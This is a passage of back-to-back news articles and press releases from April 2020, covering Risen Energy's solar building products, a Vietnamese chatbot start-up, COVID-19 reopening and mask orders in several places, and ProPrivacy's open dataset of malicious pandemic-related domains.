electricity on August 28, 2019. The project is expected to generate an average power of about 2 million kWh annually and an internal investment return rate of about 14.8%. Due to 25 years of photovoltaic product warranty, Risen Energy's BIPV products are more stable and more reliable with standard and elaborate system node design, higher fire resistance and a natural heat dissipation system, and an integrated battery assembly combined with architecture. In addition, Risen Energy's BIPV projects adopt bracket solutions provided by Archtech Solar, the world's leading manufacturer of photovoltaic tracking and fixed mounting systems. Meanwhile, Risen Energy's BIPV cloud point monitoring system can provide cloud services for customers with remote energy operation and maintenance. With the system, technicians are able to rapidly develop remote centralized control and click directly remote information. At the end of the speech, Leon Chuang also shared the heterojunction battery's BIPV solution. He said, "BIPV construction needs to match the building surface with high efficiency and flexibility. If they are matched smoothly with the heterojunction battery, BIPV buildings will be able to generate greater power and create more aesthetic value. The Risen Energy's heterojunction battery has higher double-side level, great power generation performance in high temperature, and is compatible with ultra-thin flexible silicon wafers. In the future, heterojunction battery's efficiency can also be expanded above 30% with perovskite stacked battery. Therefore, in BIPV's construction applications, heterojunction battery's function would be naturally better than other batteries. This shows that the battery's development prospects are tremendously broad. " Story continues About RISEN ENERGY CO., LTD Risen Energy Co., Ltd. was founded in 1986 and listed as a Chinese public company (Stock Code: 300118) in 2010. Risen Energy is one of the pioneers in solar industry and has committed to this industry as a R&D expert, an integrated manufacturer from wafers to modules, a manufacturer of off-grid systems, and also an investor, a developer and an EPC of PV projects. Aiming to deliver the green energy worldwide, Risen Energy is developing internationally with offices and sales networks in China, Germany, Australia, Mexico, India, Japan, USA and others. After years of efforts, it has reached a module production capacity of 11.1GW. While growing rapidly, Risen Energy keeps a stable pace with an average debt ratio at around 60% from 2011 to 2019. Media Contact: Risen Energy CO. LTD. Min Xiao Minerva9@126.com TEL: 0086-180 5745 9386 https://en.risenenergy.com/ SOURCE: Risen Energy CO. LTD. View source version on accesswire.com: https://www.accesswire.com/587341/Risen-Energy-Actively-Develop-in-BIPV-Area-to-Embrace-New-Opportunities When he was a student, Le Anh Tien had a passion for scientific applications. He tried to create products in various fields, from economics and the environment to education. Le Anh Tien, CEO of Chatbot Vietnam Technology Joint Stock Company, with co-founder Hoang Minh Phu, at an online meeting. Photo courtesy of Le Anh Tien He became a software developer after graduating from high school. He won awards at amateur competitions in Da Nang and creative contests for teenagers nationwide. During his four years studying at the Da Nang University of Science and Technology, Tien spent most of his time in the lab. Of his 20 research projects, the most notable was his MultiGlass product a smart device that enables people with disabilities to use computers with the movement of their eyes and head. With these glasses, it is easier for them to access information online as well as look for jobs. The product won him a prize at the Vietnamese Talent Awards 2016, an annual event held to honour talents in the fields of IT, applied science, medicine and the environment. That initial success encouraged him to team up with other friends to create bot ban hang a chatbot platform for sellers and advertisers. At first, we decided to set up a chatbot to facilitate the management of a coffee shop we operated in a co-working space, Tien said. After three months, we saw our costs reduce by 40 per cent while efficiency improved at the same time. Then we decided to expand the product. Tien and his colleagues set up Chatbot Vietnam Technology Joint Stock Company in 2017. Chatbot has been used around the world for many years and is widely applied in e-commerce, insurance, healthcare, retail and hospitality. Developing chatbot technology became a common trend for start-ups in Vietnam and globally in 2017 along with blockchain technology, Artificial Intelligence and Big Data. What makes bot ban hang stand out is that it allows customers to find information, make orders and pay directly on Messenger without having to switch to another interface, said Tien, who is now CEO of the company. The platform also carries out gamification which incorporates fun and an element of competition to marketing strategy to help businesses attract more customers. The strategy can attract tens of thousands of users within a few hours with conversion rates of 30 per cent. Hoang Minh Phu, a co-founder of bot ban hang, said the operation of the platform facilitates interaction between sellers and customers, making online shopping easier. Changing shopping habits through a convenient channel can be considered the biggest contribution bot ban hang offers the community, he said. With three founding members graduating from the Da Nang University of Science and Technology, Tien said it gave the company a solid technical foundation. However, it was not an easy path for him and his co-workers. At the beginning, the founding members had to multi-task, from developing the platform, marketing, sales and customer care. I only slept about 3-4 hours a day and I was working part-time for another company to earn money to run the project, Tien said. The first problem the company faced was how to persuade customers to use their product. To convince customers in the early days, they decided to offer a free service for nine months, Tien said. After that period, most customers chose to buy the product and more and more people became interested in it. According to Tien, the most difficult period the company had faced over the past two years was when Facebook data was exposed online. Like other applications operating on Facebook, chatbot was deactivated. Determined not to depend on another platform, the companys staff tried to set up a data driven platform. At the end of 2018, bot ban hang officially split from Facebook. Sharing his experience, Phu said a start-up always faced certain difficulties in its development stages. To complete a new product, the staff had to approach customers, exchange and listen to users' comments, and then make suitable changes, he said. This is a time-consuming and labour-intensive process as the majority of online sellers were still not accustomed to applying technology in their businesses, he said, adding that some customers didn't trust the product but even objected to the adoption of new technology. But his efforts have been paid off. Bot ban hang is now used by many agencies and businesses, such as the Ministry of Science and Technology, Vietnam Television Corporation, Vinmart, VnPay, VinID, Grab and Viettelpost. More than 15,000 firms have installed the platform with over 10 million users from five countries and territories including Vietnam, Taiwan, the United States, the Republic of Korea and Japan. With customer growth of over 5,000 per cent and strong potential, the company has successfully raised US$500,000 in funding from NextTech Group. Nguyen Hoa Binh, Next Techs CEO, said the reason why they had poured capital into the firm was that it had a positive impact on society. He said the chatbot had the ability to deliver 24/7 automated customer support, thereby not only increasing customer engagement but also saving costs for businesses. Tien said the investment would help connect the company with the groups regional e-commerce ecosystem, contributing to speeding up the globalisation process of bot ban hang. Given the complex developments of COVID-19, Tien has completed a chatbot about the pandemic to make it easier for netizens to stay updated on the situation. On Lunar New Year Eve, I spent six hours setting up the chatbot. The launch of the chatbot helped people share information more quickly, and easily access the latest data from around the world, he said. The company is also offering 50 discounts for all of its products to help Vietnamese businesses overcome the hardships caused by the pandemic. Having used bot ban hang over the past three months, Vo Van Phuong, 36, the owner of a milk tea shop in Hue, said he was satisfied with the product. I used to hold promotions like selling tea for only VND19,000 (0.8 US cents) or putting on live music, but they were not effective in terms of marketing. He decided to apply chatbot to attract Facebook visitors. Phuong was surprised by the results after launching a game developed by bot ban hang last month. It was really impressive. The number of customers is up to 300 per day, an increase of 50 compared with normal days, while revenue has gone up 25 per cent compared with previous months. According to Phuong, the benefit of chatbot was that it helped save marketing costs and time while creating a professional fanpage. It had also improved the shops brand perception. Using customer data, we can send messages when the shop is running promotions. For Tien, his dream has not yet been fulfilled. We will continue to improve our technology to turn bot ban hang into a super platform and useful sales tool to meet the rising demand for online sales and turning Chatbot Vietnam into one of the country's leading technology firms, he said. VNS Mai Hien NextTech and Next100 invest $500,000 in Chatbot Vietnam NextTech Group on Monday announced it will invest US$500,000 into Chatbot Viet Nam Technology Joint Stock Company, which runs Bot Ban Hang a chatbot platform for sellers and advertisers in Vietnam. Equities in the United States traded higher today, this in response to the easing of restrictive lockdowns in many countries. The United States has outline plans to ease the restrictions and begin to effectively reopen in phases. Three states in the U.S. including Georgia, Oklahoma and Alaska have implemented plans to loosen their restrictions on businesses, this despite warnings from public health experts that this effort could be too early to be safe. According to the Associated Press, Along with Georgia, Oklahoma allowed salons, spas and barbershops to reopen, while Alaska cleared the way for restaurants to resume dine-in service and retail shops and other businesses to open their doors, all with limitations. Some Alaska municipalities chose to keep stricter rules. Even as some countries and parts of the United States have begun plans to ease lockdown, the global death toll for the coronavirus now is in excess of 200,000. The worldwide death toll was at 201,907 as of Saturday. This according to John Hopkins University. As reported by MarketWatch today, economist David Rosenberg said, the economic aftermath of the 2008 financial crisis was so tepid it was referred to as the great recession. In the wake of the coronavirus catastrophe, investors need to brace for the great repression which may be even uglier than the downturn of a decade ago. His predictions forecast that the United States will have a 30% contraction in real gross domestic product in the second quarter, and a negative year over year consumer price growth for 5 quarters, and unemployment rate of 14.2% by the end of 2020, averaging 13% throughout 2021. Crude oil continues to trade under immense pressure with the most active contract losing over four dollars (-23.85%) and is currently trading for $12.92 barrel. For the same reasons as cited above gold prices softening today. Gold futures basis the most active June contract is currently trading at $1725.30, which is a net decline of $10.30 (-0.59%). Spot gold is currently fixed at $1714.67 which is a net decline of almost $13 (-0.75%) on the day. The precious metals complex had mixed results in trading today with gold and palladium trading lower, and platinum and silver moving higher. Silver futures basis the most active may contract gained a little over four cents today and is currently fixed at $15.305. Platinum futures gained almost a full percentage point and is currently fixed at $781.20 after factoring in todays gain of $7.40. For those who would like more information simply use this link. Wishing you as always good trading, LANSING, MI -- Gov. Gretchen Whitmer says residential and commercial construction may soon be able to resume in Michigan, along with additional outdoor industries. Citing data regarding the states continued flattening of the COVID-19 curve and other factors, Whitmer said a handful of industries have a chance of going back to work as long as the data continues to support allowing that, but when that could happen is unclear. Whitmer said shes consulting with business leaders, healthcare leaders, labor leaders and experts in industrial hygiene to determine recommendations on which workplaces pose the lowest risk to spreading the virus. Well start with workplace types that pose the least amount of risk. Its really important that we get this right. So the first will be additional outdoor enterprises that we feel pose, low risk, Whitmer said during a press conference Monday, April 27. Well also be looking at residential and commercial construction that industry, for example, will be one of the first sectors to return to work. Were also carefully evaluating a number of industrial sectors, for potential restart as well. Whitmers statements on reopening the economy came just shortly after the state announced the fewest number of COVID-19 cases reported over 24 hours in the last five weeks. Michigan reported 432 new cases Monday and 92 new deaths. The state has confirmed 38,210 cases so far and 3,407 deaths attributed to the virus. Those consulting on the issue with Whitmer will also consider geographic and workplace risk, along with public health, the abilities of workers and workplace protocols to determine which businesses are the best fit to reopen. We will take into account relevant public health data in deciding when different workplaces go back to work. Businesses we know are going to have to be a partner and do their part to protect their workers and our families, Whitmer said. We will be directing businesses to adopt a new array of workplace safety practices that have been recommended both by industry, and by public health experts. Businesses will have to adapt their safety practices to ensure workers are protected while doing their jobs. Employers will be required to monitor symptoms, institute a variety of social distancing techniques, strengthen sanitation and hygiene at the job site and provide recommended personal protective equipment like masks and face shields. We dont want our employees to be afraid to go back to work, Whitmer said. While Whitmer says some industries may reopen soon, she did not say when that could happen or when she will fully unveil a plan to bring these industries back online. She did say that she will continue to use data to drive her decisions and, if necessary, will scale back what businesses can be open, even if theyve reopened already. Theres no hard and fast timeline here. As we set dates, we will continue to keep you informed. There may be instances where we can go faster, Whitmer said. There may be instances where we need to move a little slower. As one of the states with the highest numbers of COVID-19 cases and deaths in the U.S., Whitmer stressed the importance of having a plan for economic recovery that works for Michigan. Whitmer asked residents to think of the situation as a dial and not an on and off switch. As the data on the number of cases changes, the state will have to react like a dial, by increasing or decreasing restrictions as needed to protect the public health. PREVENTION TIPS In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Carry hand sanitizer with you, and use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and when you go into places like stores. READ MORE Complete coverage at mlive.com/coronavirus Detroit air pollution levels drop amid coronavirus shutdown Whitmer defends stay-at-home order, says Michigan needed unique solution Whitmer orders shopping hours for vulnerable residents, masks for employees checking out customers Monday, April 27: Latest developments on coronavirus in Michigan The Bortianor Polyclinic in Accra has received items from The Word In Action Church to support their fight against Covid 19 and also enhance their service delivery. The Polyclinic received two large sizes Veronica buckets with metal stands, liquid soap, tissues, two dustbins, two buckets, four gallons of sanitizers, and 200 locally manufactured nose masks. At a short presentation ceremony in the premises of the Polyclinic, Pastor Theodore Mawuli Viwotor, Head of the Accra Mission of the Church, said the wellbeing of the staff and patients is of paramount interest to the church, thus the decision to donate the items to help fight the Coronavirus disease. He indicated the Churchs commitment to a healthy people serving a living God, disclosing that, our headquarters in the US, which funded the donation, is considering means by which it could continually partner the Polyclinic in ensuring quality healthcare delivery beyond the pandemic. Pastor Viwotor encouraged the staff of the clinic not to relent in their efforts to ensure the community members are in good health to contribute their quota to national development. For her part, Dr. Philomena Bonsu, Head of the Bortianor Polyclinic, expressed the facilitys appreciation to the church, noting that the items would, in no small way, complement the staff of the polyclinics efforts in quality healthcare delivery. We are grateful to the Church for these items that would, in no small way, help us deliver on our mandate as health care providers. She appealed to corporate bodies, NGOs, and individuals to emulate the gesture of The Word in Action Church to ease their work. PM Lee to deliver May Day Message on TV this Thursday, April 30 For the first time ever, Singapore Prime Minister Lee Hsien Loong will be delivering his May Day Message on national television. The simulcast across national television channels will happen on 7.30pm this Thursday, April 30. The speech will also be streamed via the respective social media channels: Prime Minister Offices Facebook page and YouTube, and NTUC Singapores Facebook page and YouTube. Photo courtesy: PMO In a press statement, the National Trade Union Congress (NTUC) said it has keeping a close watch on the COVID-19 situation, and reviewing the May Day celebration events that were originally scheduled to take place from late April till June. "In line with tightened COVID-19 circuit breaker measures, NTUC will be doing things differently across our key May Day events," it said. A physical May Day Rally which is NTUCs signature annual event will not happen this year. Traditionally, more than 1,500 Labour Movement leaders and tripartite partners would gather at NTUCs signature annual event, May Day Rally, to reaffirm their commitment to advance the interests of our workers. This year, in a similar show of solidarity, union leaders, employers and government leaders will be participating in a closed-door virtual dialogue session. It will be helmed by NTUC President Mary Liew, NTUC Secretary-General Ng Chee Meng, together with Manpower Minister Josephine Teo and Singapore National Employers Federation President Dr Robert Yap. While we will be celebrating May Day 2020 differently this year, I am heartened that the spirit of wanting to come together to serve our workers, and to show our solidarity as tripartite partners remains very strong," said May Day 2020 Organising Chairperson, NTUC Assistant Director-General Vivek Kumar. "We stand in solidarity with our workers in these difficult times. The Charger Blog Meet some of the veterans and active service members in the University of New Haven community who are committing themselves to service amid the global coronavirus pandemic. They hope to make a difference when it is needed the most. By Renee Chmiel, Office of Marketing and Communications Left to right: Brian Ohler, Jake Sibilski, Rocely Urizar. Earlier this semester, Jake Sibilski 21 was a full-time student double majoring in paramedicine and biology. But as the coronavirus global pandemic continued to spread, Sibilski heard the call for help, and he was quick to respond. Rocely Urizar 21. A former member of the United States Coast Guard who was stationed aboard the USCGC Active and the USCG PATFORSWA (Patrol Forces Southwest Asia) for three years, Sibilski was working part time in American Medical Responses New Haven division and as an emergency department technician at Yale New Haven Hospital. He also has National Registry and Connecticut State Paramedic Licenses, and he knew his training and skills could make a meaningful difference. AMR deployed several members to New York City as part of the FEMA response, and I wanted to help fill those empty shifts and share the workload, he said. I saw from their social media posts how stressed my coworkers were. Sibilski is among many current and former service members in Charger Nation who are now on the front lines of the coronavirus. His classmate, Rocely Urizar 21, is currently activated. A national security major, Urizar joined the U.S. Army Reserve as an operating room specialist in 2016. She and her unit are now being sent to locations considered to be hot spots for COVID-19 to support the response. Brian Ohler 20. This pandemic is causing a lot of chaos and need within the medical community, so it is very important for us to get involved, Urizar said. I hope to help as many people possible. Before he was a student at the University, Brian Ohler 20 spent 12 years serving in the Connecticut Army National Guard, which took him all over the world. He served three combat tours of duty, which brought him to Baghdad, Iraq; Mosul, Iraq; and western Afghanistan. Now a student in the Universitys homeland security and emergency management program, Ohler is also the associate director of safety and engineering at Charlotte Hungerford Hospital in Torrington, Conn. He is on the front lines of the local response to the global coronavirus pandemic a role that he and his colleagues have been preparing for even before the virus began to spread in the United States. Brian Ohler spent 12 years serving in the Connecticut Army National Guard. Best practices and lessons learned have enabled my teams to embrace the endless evolution of our offensive and defensive postures, said Ohler, who took on the role of incident safety officer when the hospital established its Hospital Incident Command Structure. There are so many critical and devoted professionals who are doing everything they possibly can to save lives, mitigate risks, curtail exposures, and sustain themselves as they battle this historic pandemic. As a service member, Ohler was well prepared for his role on the frontlines of the coronavirus pandemic. He is continuing to learn and adapt while demonstrating another critical competency: resilience. There will be a time when our friends and families will be able to come back together and when businesses can stand back up, he said. Courage, not fear, will lead us to brighter, happier days. This, I know. Help University of New Haven Students Charge Ahead We've launched the Charge Ahead Student Support Fund in an effort to raise financial assistance for our students for such necessities as remote learning technology, food, housing, medical expenses, and other emergency needs. Please click here to make a contribution that will assist those in our University community who need our support. LIVERPOOL, ENGLAND / ACCESSWIRE / April 28, 2020 / ProPrivacy has launched the largest open data project of its kind, documenting, analyzing and sharing malicious domain activity related to the Coronavirus and COVID-19. A third of coronavirus-related domains are harmful - In partnership with Alphabet's VirusTotal and WHOIS XML API, ProPrivacy has analyzed more than 300,000 domains and uncovered almost 100,000 malicious domains spanning the length of the global health crisis. - In partnership with Alphabet's VirusTotal and WHOIS XML API, ProPrivacy has analyzed more than 300,000 domains and uncovered almost 100,000 malicious domains spanning the length of the global health crisis. Data provides a detailed timeline for malicious domain registrations - The open data project paints an accurate and detailed picture of malicious online activity in the lead up to and throughout the pandemic. - The open data project paints an accurate and detailed picture of malicious online activity in the lead up to and throughout the pandemic. Domain registrations often spike as a result of real-world events - The research team saw a 648 percent increase in malicious domain registrations on the day that the World Health Organization named the disease caused by the Coronavirus (COVID-19). When officials declared the outbreak a pandemic, domain registrations ballooned from circa 1,306 per day to 2,672. Above: Number of malicious domains related to Coronavirus (COVID-19) registered since January 9th. About the data: ProPrivacy is tracking all new domain registrations in real-time and is analyzing them on a weekly basis to identify those that may have recently been weaponized. Domains flagged as malicious by any one of VirusTotal's 70 threat intelligence partners are cross-referenced against WHOIS XML API databases for additional data. All of this data has been published on ProPrivacy.com and Github. New data is collected every Sunday. There is a one week delay on recent data as it is collected and analysed. Data is rechecked fortnightly, so it is as reliable as possible. For those not looking to analyze the data, ProPrivacy has created a simple public-facing tool that allows users to check if a website has been flagged as malicious. All of the data, as well as the tool, can be found at: https://proprivacy.com/tools/scam-website-checker The data can also be accessed from our Github repo in .csv format: https://github.com/ProPrivacy/covid-19 Sean McGrath, lead researcher on the project: The data clearly shows that cyber-criminals are opportunists, preying on the concerns and fears caused by the health crisis. Whether it's a lack of personal protective equipment (PPE) for healthcare workers or the promise of antibody testing, criminals are using the news agenda to scam people out of their money. In just the past 48 hours, we've even seen a rise in UV therapy-related domains following President Trump's comments. Criminals are also using domains that closely resemble trusted sources of information such as the World Health Organization, making it even more challenging to stay safe online. The advice is simple. Citizens should be cautious of any website that is not a well-known and trusted organization. Rather than opening links within emails or social media posts, use a search engine to find the information you are looking for. The public can also use our tool to check if a website is potentially malicious. About Us ProPrivacy is the leading resource for digital freedom. Founded in 2013, the site's mission is to help users around the world reclaim their right to privacy through research, reviews, knowledge-sharing, investigations and, direct action. Contacts Tom Chivers Suite C Gateway House, Wirral, UK. CH62 3NX Digital Marketing Executive pr@proprivacy.com proprivacy.com SOURCE: ProPrivacy View source version on accesswire.com:https://www.accesswire.com/587137/98000-Malicious-Coronavirus-Websites-Discovered-Open-Data-Project-Exposes-the-Scale-of-COVID-19-Malicious-Activity-Online Treasurer Jackie Trad has indicated that she will increase Queensland's debt bill to save the state from economic ruin. Even before the coronavirus crisis forced the government to spend up big on health and business relief, the state's economy was riddled with debt, she said. Queensland Deputy Premier and Treasurer Jackie Trad speaks during a press conference at Parliament House on the day she was meant to deliver the budget. Credit:AAP/Dan Peled Total debt was forecast to balloon to $91.8 billion over the forward estimates and the expected surplus for this financial year had already dropped by $38 million. In the previous two years, expenses had increased by 11 per cent to $7.3 billion, while the government has been able to grow its revenue by only $4 billion (6 per cent). Protesters gather in Orange to speak out against Gov. Gavin Newsom's stay-at-home order amid the coronavirus pandemic. (OnScene.TV) After a surge in the number of confirmed coronavirus cases over the weekend, Orange County's total case count hit 2,126 Monday up more than 500 from a week ago. Orange County saw its biggest two-day increase in confirmed COVID-19 cases so far over the weekend, reporting 123 a daily record for the county on Saturday and 105 on Sunday, county data show. Public health officials reported 54 new cases of the virus on Monday. Despite the steady increase 282 new coronavirus infection cases have been reported in the last three days alone the county did not report any new fatalities on Monday, leaving the death toll at 39. Officials also reported that 157 COVID-19 patients are hospitalized with 62 of them in intensive care. To date, 26,347 people countywide have been tested for coronavirus. The county's surge in cases comes as some residents continue to call for statewide stay-at-home orders to be relaxed, if not completely lifted. California has experienced only a fraction of the deaths of coronavirus hot spots such as New York and New Jersey, and experts attribute that in part to early orders that forced people to observe social distancing and stay home. Gov. Gavin Newsom has reiterated that it is too early to lift those rules and urged people to continue to stay home to stem the spread of the virus. Despite that request, dozens gathered at the circle in Old Towne Orange on Monday amid a chorus of honking cars to protest what they say are unnecessary restrictions on public life. Few wore masks, and many carried American flags and signs urging officials to "save California's small businesses" and "reopen California." "Let us live and take our chances," one sign read. "We're out here protesting in a great way for our freedom," Dennis Murphy of Santa Ana told reporters. "We want to have O.C. open up." Dr. Nichole Quick, the countys health officer, told the Board of Supervisors last week that staff is working to strengthen six areas that Newsom said earlier this month would need to be in place before he would consider loosening the stay-at-home order. Story continues The six criteria are the ability to closely monitor and track potential cases; prevent infection of high-risk people; prepare hospitals to handle surges; develop therapies to meet demand; ensure schools, businesses and childcare facilities can support social distancing; and develop guidelines for when to ask Californians to stay home again if necessary. Quick noted that regardless of when state guidelines are relaxed, Orange County will have a local order maintaining certain restrictions, probably for many months. While outdoor recreational areas and restaurants will at some point begin to reopen, recommendations about face coverings in public and physical distancing mandates will probably continue, she said. Were going to alter our normal, Quick said. The last thing we want to do is open the floodgates and watch our case count start to go up again uncontrolled. Monday marked the first and likely last day Harris County residents had to cover their mouths and noses in public or face citation, with most folks complying, some complaining and others confused over what all the fuss was about. I dont need someone to tell me not to get some old lady sick, Terence Washington said as he re-positioned the scarf he had wrapped around the lower half of his face. Its just a good idea. Hours later, that is all it was. Gov. Greg Abbott on Monday afternoon unveiled the first phase of his plan to re-open the Texas economy. Included was a declaration that he was superseding all local mask mandates, effective Friday. No jurisdiction can implement any fine or penalty for not wearing a mask, Abbott said, adding he believes people should wear masks but cannot be fined for refusing. The announcement all but ended the legal debate over Harris County Judge Lina Hidalgos order last Wednesday that residents must wear a mask when in public for the next 30 days. Most of the debate centered around whether Hidalgo could impose a $1,000 fine for violating the order, but the judge made clear she intended police to use discretion while enforcing it. The community has been fantastic so far with all of our orders, she said. I trust theyll be good in terms of complying with these requirements and there not being the need for enforcement, but that doesnt mean that enforcement shouldnt be present. FOR THE LATEST: Interactive maps, charts show spread of coronavirus in Texas The order excluded mask wearing for exercise, but otherwise required they be used at all times in public places. Abbotts executive order also appeared to make moot a lawsuit Houston conservative activist Steve Hotze filed with the Texas Supreme Court to block Hidalgos mask mandate. Hidalgo said in a statement after Abbotts decree her plea to wear masks as a protective measure stands. We have a face covering order today and well still have a face covering order tomorrow, she said. In practical terms, the governors order doesnt change much because, like every order weve issued so far, wed made it clear that the priority was education. She added the order would be amended to conform to state rules. Yi-Chin Lee, Houston Chronicle / Staff photographer Amid the legal back and forth, residents out and about on Monday were split on the efficacy of everyone sporting surgical masks, bandanas or, in Ashley Holmes case, a home-made mask emblazoned with the band KISS. My grandmother made it for me, one for my sister and one for her, Holmes, 21, said as she walked into a home improvement store near Memorial City Mall. She said we dont have to be boring, but we do have to wear them. Hidalgo said she was trying to strike a similar tone, telling people they should be looking out for one another while police focused on handing out masks instead of citations. If you do not wear a mask, its not about you, its about the people around you, Hidalgo said. You might get somebody sick. Thats why Elaine Stevens, 84, said she supports the measure. Those people saying What about my rights? well, what about my right to live? she said. Eyeing passersby in the Kroger in Hedwig Village, Stevens said she takes plenty of precautions and only travels to the store and back to her home about two miles away timing her trip for when she thinks the aisles will not be crowded. I support the order, like no smoking in restaurants, she said. NOT TRYING TO START A WAR: Restaurant opens doors in defiance of Hidalgo's order As with no smoking laws, the mask requirement found residents who easily complied and others who openly defied it or did not pay it much mind. No one told me about it, Hector Gonzalez said when asked why he was not wearing a mask outside a restaurant along Harrisburg on Houstons east side. If Im going to get fined for something, I should know about it. Police said people like Gonzalez should not worry, because the most likely outcome is they will be given a mask. Harris County Sheriffs deputies were given 3,000 surgical grade or cloth coverings to distribute while on patrol Monday, department spokesman Jason Spencer said. Now Playing: COVID-19 in 60 Video: Houston Chronicle Houston Police also were handing out masks instead of citations, with the city spending the weekend and Monday handing out an estimated 60,000 masks at various spots around Houston. By the end of the week, Houston plans to have handed out at least 200,000 masks, said Mary Benton, spokeswoman for Houston Mayor Sylvester Turner. Some residents received masks from others or sewed their own. Zach Kingston said he got one from a friend, but was only wearing it so police did not hassle him while he solicited drivers for money along the Interstate 10 frontage road at Durham. I hate it, Kingston said. It makes my face sweat. If the law was abolished, Kingston said he would lose the mask immediately. Dug Begley, MASK FIRST DAY / Dug Begley Ken Miller, meanwhile, said he would wear one with or without elected officials weighing in, simply because he sees so many others out and about unprotected. Whats that joke, you cant fix stupid, Miller said outside a local grocery near NRG Park. Im not getting sick just because someone else is stupid. He said he doubted any law, or handing out masks, could lead to compliance by many county residents. REOPENING TEXAS: Caseload steady, testing lags as Abbott preps for announcement Some, meanwhile, were using their own judgment of when to wear a mask. Though she had a mask with her as she played with her children in the grassy area of the City Centre development at I-10 and the Sam Houston Tollway, Cecile Guldbrandsen said she also had her doubts about the usefulness of the law in public spaces or outdoors. I think it is kind of a fake security. The important thing is social distancing, Guldbrandsen said. As their kids tottled about, she and friend Charlotte Gausland said they removed the masks because they thought they were far enough away from everyone else. Gausland said as someone who lives in an apartment, the public parks are kind of our backyard and she thinks wearing a mask is overkill. If I go into a store, absolutely, Gausland said. She said her fear is that opponents of the order will stir people into a sense of complacency and people will start confuse whether there should be a law requiring masks with whether they need to wear masks at all. Im scared people will let their guard down, she said. dug.begley@chron.com jasper.scherer@chron.com samantha.ketterer@chron.com WELLINGTON, April 28 (Reuters) - New Zealanders queued for burgers, fries and coffee takeaway on Tuesday after they were freed from a month-long lockdown, which Prime Minister Jacinda Ardern credited with eliminating domestic transmission of the coronavirus. Around 400,000 people returned to work after Ardern shifted the country's alert level down a notch, loosening some of the tough movement restrictions that shut down businesses for weeks. "Its hard to explain how good this tastes," Christopher Bishop, a lawmaker, said on Twitter after posting a picture with a take away coffee cup. Long queues of cars snaked up to McDonald's Corp outlets in Auckland and Wellington from the early hours as people sought a fast food fix. "We got quarter pounders, Big Macs, drinks ... I've still got two cheeseburgers left but I can't finish them," Tai Perez, who arrived at a McDonald's outlet in Auckland at 4am, was quoted as saying by the New Zealand Herald. New Zealand's 5 million residents were subjected to one of the strictest lockdowns in the world in response to the coronavirus pandemic, with Ardern shutting down much of the country from March 26. Ardern said those measures had paid off. New Zealand has reported just 1,122 confirmed cases of COVID-19, including 19 deaths, one of the lowest tallies in the world. "We can say with confidence that we do not have community transmission in New Zealand. The trick now is to maintain that," Ardern told Radio New Zealand on Tuesday. There was growing debate among officials and academics about the terminology that should be used for New Zealand's status in relation to the coronavirus spread, with some saying "elimination" would not allow for recurrent small numbers of cases. They point to the fact that the country reported five new cases and one death yesterday. "When I talk about elimination it does not mean zero cases, it means zero tolerance for cases," Ardern said. "The idea of COVID being completely gone, that is eradication - so there are important differences there." Story continues New Zealand is maintaining several social distancing policies despite the step down in the alert level with malls pubs, hairdressers and other public shopping areas to stay shut for at least another two weeks. Siouxsie Wiles, a microbiologist and associate professor at the University of Auckland, was among those warning the virus could return if lockdown measures were eased too quickly. "If we turn our backs for a minute, well be on the path to a serious outbreak once again. And weve seen this happen overseas," Wiles wrote in a column on the online news site The Spinoff. (Reporting by Praveen Menon; editing by Jane Wardell) [April 28, 2020] Wolters Kluwer Launches Virtual Conferences to Support Medical Societies Amid COVID-19 Meeting Cancellations Wolters Kluwer, Health, a leading global provider of information and point of care solutions for the healthcare industry, has developed virtual conference solution alternatives to offer medical societies amid cancellations of annual meetings due to the COVID-19 pandemic. Through a wide range of virtual and digital conference capture and live stream options for events, Wolters Kluwer is mitigating the challenges associated with cancellation and helping medical societies deliver important content, proceedings and CME resources from their annual meetings to their members and clinicians. "Events and conferences are an important way for society members to learn about the latest clinical research and other updates on their specialties, which is why Wolters Kluwer rapidly pivoted to offer a virtual solution for our societies to leverage in light of the canceled meetings due to COVID-19," said Jayne Marks, Vice President of Global Publishing, Health Learning, Research & Practice, Wolters Kluwer. "We brought together our expertise in digital content production to the solution by expanding our OnDemand conference technology from a live session to live streaming packaged with CME, while adding a virtual exhibit hall and ePoster capability to support commercial sponsors of the conferences." The Wolters Kluwer solution for societies who are considering alternatives to live events include: Live Online Experience (Livestreaming) A live online experience offers societies the closest replica to an in-person event as it allows subscribers to attend remotely while still benefitting from some of the networking opportunities provided by an in-person event. Wolters Kluwer's livestreaming solution covers all aspects of live event coordination, and its platform supports video, presentations, and text chat to encourage interactivity among participants. Recorded Event (Content Available OnDemand) A recorded event offers increased flexibility. Speakers can record sessions at their convenience and subscribers can listen to the agenda items most relevant to them, anywhere and anytime. Wolters Kluwer coordinates every aspect of the content capture process to ensure that all material is captured in a manner that maximizes quality and optimizes online delivery. Hybrid Event (Live + Recorded) The Wolters Kluwer hybrid evet model offers both attendees and speakers a live online experience as well as access to the OnDemand product after the event. This solution caters to the widest range of use cases and allows speakers who might now have to cover practices the ability to record prior to the event. The final presentation can then be played at a scheduled time. Exhibit Hall (Available on Demand) Pharmaceutical and medical device companies can communicate information regarding their products and services to attendees through virtual exhibits. Visitors to the online exhibit hall may visit a manufacturer's booth to watch presentations about new products, read data and product specifications, and link out to the manufacturer's home page. Wolters Kluwer can also work with exhibitors to help to ensure optimal visits to their booths. Across solutions, Wolters Kluwer works with each prospective partner to understand their unique objectives and recommend a solution that aligns with best practices. Wolters Kluwer also creates and administers assessments that allow virtual attendees to earn CME credentials for participating, either at the meeting or session level. Wolters Kluwer is a trusted partner to medical societies with experience managing meeting capture and distribution for hundreds of meetings, used by thousands of practitioners. Current partners include the American College of Cardiology (ACC), the American Academy of Orthopaedic Surgeons (AAOS), the American Society of Anesthesiologists (ASA) and the American Psychiatric Association (APA). For more information about Wolters Kluwer society meeting solutions, please visit ondemand.org. More COVID-19 Resources Wolters Kluwer continues to make the latest evidence-based medicine and resources related to COVID-19 available for clinicians, health systems and consumers around the world. For more, please bookmark and visit the Wolters Kluwer COVID-19 (Coronavirus) Resources & Tools page. Read this story on our website. About Wolters Kluwer Wolters Kluwer (AEX: WKL) is a global leader in professional information, software solutions, and services for the clinicians, nurses, accountants, lawyers, and tax, finance, audit, risk, compliance, and regulatory sectors. We help our customers make critical decisions every day by providing expert solutions that combine deep domain knowledge with advanced technology and services. Wolters Kluwer reported 2019 annual revenues of 4.6 billion. The group serves customers in over 180 countries, maintains operations in over 40 countries, and employs approximately 19,000 people worldwide. The company is headquartered in Alphen 